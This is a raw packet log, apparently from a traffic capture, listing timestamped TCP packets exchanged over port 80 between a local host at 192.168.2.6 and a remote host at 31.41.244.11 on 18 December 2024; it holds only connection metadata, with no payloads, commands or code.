Dec 18, 2024 11:47:36.590811968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.590861082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.590938091 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.590989113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.592561960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.592576981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.592618942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.592631102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.594342947 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.594392061 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.594429016 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.594476938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.596491098 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.596574068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.596610069 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.596621990 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.598328114 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.598375082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.598376036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.598506927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.600225925 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.600275993 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.600277901 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.600486994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.602257967 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.602323055 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.602449894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.602499962 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.603800058 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.603849888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.604002953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.604048967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.605524063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.605624914 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.605648041 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.605694056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.607043982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.607100010 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.607178926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.607254028 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.608551025 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.608597040 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.608619928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.608757973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.610171080 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.610212088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.610220909 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.610254049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.611499071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.611551046 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.710637093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.710668087 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.710711002 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.710752010 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.711229086 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.711287975 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.711471081 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.711519957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.712553978 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.712677002 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.712739944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.712784052 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.713936090 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.714015961 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.714081049 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.714124918 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.715127945 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.715184927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.715269089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.715333939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.716428995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.716476917 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.716514111 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.716557980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.717783928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.717820883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.717839003 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.717852116 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.719018936 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.719105959 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.719186068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.720303059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.720350981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.720388889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.720648050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.721600056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.721672058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.721693993 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.721792936 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.722877979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.722924948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.722978115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.723031998 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.724260092 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.724309921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.724391937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.724438906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.725585938 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.725634098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.725682020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.725729942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.726862907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.727005959 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.727035046 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.727047920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.728127956 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.728141069 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.728183985 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.728195906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.729091883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.729212999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.729274988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.730104923 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.730138063 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.730160952 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.730178118 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.731250048 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.731303930 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.731394053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.731446981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.732397079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.732448101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.732522011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.732575893 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.733566999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.733613014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.733757019 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.733849049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.734739065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.734787941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.734858990 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.734900951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.735922098 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.735971928 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.736061096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.736104012 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.737042904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.737087965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.737102985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.737144947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.738349915 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.738362074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.738399982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.739379883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.739454985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.739455938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.739547014 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.740511894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.740557909 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.740613937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.740839005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.742031097 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.742043018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.742082119 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.742844105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.742897987 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.742969990 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.743046045 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.744132042 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.744143963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.744231939 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.745146036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.745193005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.745233059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.745271921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.746328115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.746375084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.746510983 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.746566057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.747476101 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.747524977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.747565985 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.747606039 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.748614073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.748660088 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.748771906 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.748816013 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.749833107 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.749852896 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.749878883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.749890089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.750993013 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.751044989 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.751106024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.751142979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.752120972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.752186060 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.752202034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.752295017 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.753258944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.753324032 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.753417969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.753462076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.754590034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.754601955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.754657984 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.756941080 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.756953955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.757036924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.757884979 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.757976055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.758043051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.760997057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.761087894 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.761123896 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.761162043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.761486053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.761499882 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.761558056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.762257099 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.762310982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.762386084 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.762496948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.763778925 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.763794899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.763853073 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.764950037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.764964104 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.765012026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.765819073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.765830994 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.765877008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.766927958 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.766993046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.767055988 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.767704964 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.767759085 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.767868042 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.768044949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.768661976 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.768866062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.768927097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.769655943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.769714117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.769846916 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.769900084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.771012068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.771039963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.771064043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.771075010 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.772090912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.772105932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.772160053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.772640944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.772751093 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.772795916 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.772809982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.773830891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.776832104 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.901618004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.901659012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.901712894 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.901753902 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.901791096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.901849985 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.901859999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.901904106 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.905061007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905118942 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.905184984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905245066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.905698061 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905711889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905724049 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905735970 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.905751944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.905785084 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.906486988 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.906536102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.906622887 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.906668901 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.907675028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.907691002 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.907726049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.908641100 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.908655882 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.908694029 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.908705950 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.909792900 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.909809113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.909847021 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.910656929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.910820961 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.911777973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.911854982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.911928892 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.912369967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.912939072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.912955046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.912982941 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.912996054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.913911104 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.913961887 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.914108038 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.914154053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.914971113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.915019989 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.915138960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.915184021 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.915972948 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.916045904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.916136980 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.916188002 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.917052031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.917098045 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.917211056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.917265892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.918253899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.918272018 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.918303967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.918314934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.919389009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.919406891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.919445038 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.919457912 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.920377970 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.920392990 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.920420885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.920432091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.921554089 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.921566963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.921596050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.921623945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.922519922 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.922533989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.922568083 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.923429012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.923479080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.923592091 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.923631907 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.924588919 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.924633980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.924743891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.924784899 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.925684929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.925697088 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.925734043 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.926695108 CET	80	49859	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:36.926738977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:36.926851988 CET	80	49859	31.41.244.11	192.168.2.6
